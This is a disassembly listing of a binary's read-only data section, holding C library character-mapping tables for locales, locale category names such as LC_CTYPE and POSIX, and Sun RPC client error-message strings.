		db    0	;  
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AAh	; ╙
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BAh	; ╨
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C7h	; г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CCh	; л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CDh	; м
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D0h	; п
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D1h	; я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DEh	; ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DFh	; ъ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F0h	; П
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F1h	; Я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FEh	; Ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    7	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    9	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Bh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ch	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  10h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  11h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  12h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  13h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  14h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  15h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  16h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  17h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  18h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  19h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Bh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  20h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  21h	; !
		db    0	;  
		db    0	;  
		db    0	;  
		db  22h	; "
		db    0	;  
		db    0	;  
		db    0	;  
		db  23h	; #
		db    0	;  
		db    0	;  
		db    0	;  
		db  24h	; $
		db    0	;  
		db    0	;  
		db    0	;  
		db  25h	; %
		db    0	;  
		db    0	;  
		db    0	;  
		db  26h	; &
		db    0	;  
		db    0	;  
		db    0	;  
		db  27h	; '
		db    0	;  
		db    0	;  
		db    0	;  
		db  28h	; (
		db    0	;  
		db    0	;  
		db    0	;  
		db  29h	; )
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ah	; *
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Bh	; +
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Dh	; -
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Eh	; .
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Fh	; /
		db    0	;  
		db    0	;  
		db    0	;  
		db  30h	; 0
		db    0	;  
		db    0	;  
		db    0	;  
		db  31h	; 1
		db    0	;  
		db    0	;  
		db    0	;  
		db  32h	; 2
		db    0	;  
		db    0	;  
		db    0	;  
		db  33h	; 3
		db    0	;  
		db    0	;  
		db    0	;  
		db  34h	; 4
		db    0	;  
		db    0	;  
		db    0	;  
		db  35h	; 5
		db    0	;  
		db    0	;  
		db    0	;  
		db  36h	; 6
		db    0	;  
		db    0	;  
		db    0	;  
		db  37h	; 7
		db    0	;  
		db    0	;  
		db    0	;  
		db  38h	; 8
		db    0	;  
		db    0	;  
		db    0	;  
		db  39h	; 9
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Ah	; :
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Bh	; ;
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Ch	; <
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Dh	; =
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Eh	; >
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Fh	; ?
		db    0	;  
		db    0	;  
		db    0	;  
		db  40h	; @
		db    0	;  
		db    0	;  
		db    0	;  
		db  61h	; a
		db    0	;  
		db    0	;  
		db    0	;  
		db  62h	; b
		db    0	;  
		db    0	;  
		db    0	;  
		db  63h	; c
		db    0	;  
		db    0	;  
		db    0	;  
		db  64h	; d
		db    0	;  
		db    0	;  
		db    0	;  
		db  65h	; e
		db    0	;  
		db    0	;  
		db    0	;  
		db  66h	; f
		db    0	;  
		db    0	;  
		db    0	;  
		db  67h	; g
		db    0	;  
		db    0	;  
		db    0	;  
		db  68h	; h
		db    0	;  
		db    0	;  
		db    0	;  
		db  69h	; i
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Ah	; j
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Bh	; k
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Ch	; l
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Dh	; m
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Eh	; n
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Fh	; o
		db    0	;  
		db    0	;  
		db    0	;  
		db  70h	; p
		db    0	;  
		db    0	;  
		db    0	;  
		db  71h	; q
		db    0	;  
		db    0	;  
		db    0	;  
		db  72h	; r
		db    0	;  
		db    0	;  
		db    0	;  
		db  73h	; s
		db    0	;  
		db    0	;  
		db    0	;  
		db  74h	; t
		db    0	;  
		db    0	;  
		db    0	;  
		db  75h	; u
		db    0	;  
		db    0	;  
		db    0	;  
		db  76h	; v
		db    0	;  
		db    0	;  
		db    0	;  
		db  77h	; w
		db    0	;  
		db    0	;  
		db    0	;  
		db  78h	; x
		db    0	;  
		db    0	;  
		db    0	;  
		db  79h	; y
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Ah	; z
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Bh	; [
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Ch	; \
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Dh	; ]
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Eh	; ^
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Fh	; _
		db    0	;  
		db    0	;  
		db    0	;  
		db  60h	; `
		db    0	;  
		db    0	;  
		db    0	;  
		db  61h	; a
		db    0	;  
		db    0	;  
		db    0	;  
		db  62h	; b
		db    0	;  
		db    0	;  
		db    0	;  
		db  63h	; c
		db    0	;  
		db    0	;  
		db    0	;  
		db  64h	; d
		db    0	;  
		db    0	;  
		db    0	;  
		db  65h	; e
		db    0	;  
		db    0	;  
		db    0	;  
		db  66h	; f
		db    0	;  
		db    0	;  
		db    0	;  
		db  67h	; g
		db    0	;  
		db    0	;  
		db    0	;  
		db  68h	; h
		db    0	;  
		db    0	;  
		db    0	;  
		db  69h	; i
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Ah	; j
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Bh	; k
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Ch	; l
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Dh	; m
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Eh	; n
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Fh	; o
		db    0	;  
		db    0	;  
		db    0	;  
		db  70h	; p
		db    0	;  
		db    0	;  
		db    0	;  
		db  71h	; q
		db    0	;  
		db    0	;  
		db    0	;  
		db  72h	; r
		db    0	;  
		db    0	;  
		db    0	;  
		db  73h	; s
		db    0	;  
		db    0	;  
		db    0	;  
		db  74h	; t
		db    0	;  
		db    0	;  
		db    0	;  
		db  75h	; u
		db    0	;  
		db    0	;  
		db    0	;  
		db  76h	; v
		db    0	;  
		db    0	;  
		db    0	;  
		db  77h	; w
		db    0	;  
		db    0	;  
		db    0	;  
		db  78h	; x
		db    0	;  
		db    0	;  
		db    0	;  
		db  79h	; y
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Ah	; z
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Bh	; {
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Ch	; |
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Dh	; }
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Eh	; ~
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Fh	; 
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    0	;  
		db    0	;  
		db    0	;  
		db  81h	; │
		db    0	;  
		db    0	;  
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db    0	;  
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db    0	;  
		db    0	;  
		db  84h	; └
		db    0	;  
		db    0	;  
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db    0	;  
		db    0	;  
		db  86h	; ├
		db    0	;  
		db    0	;  
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db    0	;  
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db    0	;  
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db    0	;  
		db    0	;  
		db  90h	; ░
		db    0	;  
		db    0	;  
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db    0	;  
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db    0	;  
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db    0	;  
		db    0	;  
		db  94h	; ■
		db    0	;  
		db    0	;  
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db    0	;  
		db    0	;  
		db  96h	; √
		db    0	;  
		db    0	;  
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db    0	;  
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db    0	;  
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AAh	; ╙
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BAh	; ╨
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C7h	; г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CCh	; л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CDh	; м
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D0h	; п
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D1h	; я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DEh	; ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DFh	; ъ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F0h	; П
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F1h	; Я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FEh	; Ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  90h	; ░
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db  9Ah	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db  9Dh	; ²
		db    6	;  
		db    8	;  
		db 0C2h	; б
		db 0A3h	; ё
		db    6	;  
		db    8	;  
unk_806A9E4	db    0	;		; DATA XREF: .rodata:0806AA20o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db 0A9h	; ╘
		db    6	;  
		db    8	;  
		db 0FEh	; Ч
		db 0A9h	; ╘
		db    6	;  
		db    8	;  
		db 0FCh	; Э
		db 0A9h	; ╘
		db    6	;  
		db    8	;  
		db  7Fh	; 
		db    0	;  
		db    0	;  
		db  2Eh	; .
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_806AA04	dd 8079288h		; DATA XREF: sub_8062CF8+11r
					; sub_8062CF8+1Br ...
		dd offset dword_8078890
		dd offset off_8079294
		dd offset off_8079284
		dd offset off_8079290
		dd offset off_807928C
dword_806AA1C	dd 806A9C4h		; DATA XREF: sub_8062CF8+39r
					; sub_8062D4C+395r ...
		dd offset unk_806A9E4
		dd offset unk_806BC54
		dd offset unk_806BBBC
		dd offset unk_806BBC8
		dd offset unk_806BC14
dword_806AA34	dd 806AA82h		; DATA XREF: sub_8062940+221r
					; sub_8062940+28Ar ...
dword_806AA38	dd 806AA77h		; DATA XREF: sub_8062D4C+213r
dword_806AA3C	dd 806AA6Fh		; DATA XREF: sub_8062D4C+238r
dword_806AA40	dd 806AA64h		; DATA XREF: sub_8062D4C+259r
dword_806AA44	dd 806AA58h		; DATA XREF: sub_8062D4C+27Ar
dword_806AA48	dd 806AA4Ch		; DATA XREF: sub_8062D4C+29Br
aLc_messages	db 'LC_MESSAGES',0
aLc_monetary	db 'LC_MONETARY',0
aLc_collate	db 'LC_COLLATE',0
aLc_time	db 'LC_TIME',0
aLc_numeric	db 'LC_NUMERIC',0
aLc_ctype	db 'LC_CTYPE',0
		db  90h	; ░
dword_806AA8C	dd 8			; DATA XREF: sub_8062940+71r
					; sub_8062940+F5r ...
dword_806AA90	dd 0Ah			; DATA XREF: sub_8062D4C+20Br
dword_806AA94	dd 7			; DATA XREF: sub_8062D4C+230r
dword_806AA98	dd 0Ah			; DATA XREF: sub_8062D4C+251r
dword_806AA9C	dd 0Bh			; DATA XREF: sub_8062D4C+272r
dword_806AAA0	dd 0Bh			; DATA XREF: sub_8062D4C+293r
dword_806AAA4	dd 8066BC4h		; DATA XREF: sub_8062CF8+26r
					; sub_8062CF8+30r
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_806AABC	db  43h	; C		; DATA XREF: sub_8062940+17Fo
					; sub_8062C9C+17o ...
		db    0	;  
unk_806AABE	db  43h	; C		; DATA XREF: sub_8062940+157o
					; sub_8062D4C+364o ...
		db    0	;  
aPosix		db 'POSIX',0            ; DATA XREF: sub_8062940+16Co
					; sub_8062D4C+379o ...
aLc_all		db 'LC_ALL',0           ; DATA XREF: sub_8062D4C+4Bo
aLang		db 'LANG',0             ; DATA XREF: sub_8062D4C+8Co
					; sub_8062D4C+DAo ...
aS_2		db '%s: ',0             ; DATA XREF: sub_8063688+36o
					; clnt_spcreateerror+22o
aErrnoS		db '; errno = %s',0     ; DATA XREF: sub_8063688+E6o
aLowVersionLuHi	db '; low version = %lu, high version = %lu',0 ; DATA XREF: sub_8063688+11Co
					; sub_8063688+1B8o
aWhy		db '; why = ',0         ; DATA XREF: sub_8063688+147o
aS_3		db '%s',0               ; DATA XREF: sub_8063688+172o
					; clnt_perror+11o ...
aUnknownAuthent	db '(unknown authentication error - %d)',0 ; DATA XREF: sub_8063688+180o
aS1LuS2Lu	db '; s1 = %lu, s2 = %lu',0 ; DATA XREF: sub_8063688+1DCo
asc_806AB51	db 0Ah,0		; DATA XREF: sub_8063688+1F2o
					; clnt_spcreateerror+E3o
aRpcFailedUnspe	db 'RPC: Failed (unspecified error)',0
aRpcProgramNotR	db 'RPC: Program not registered',0
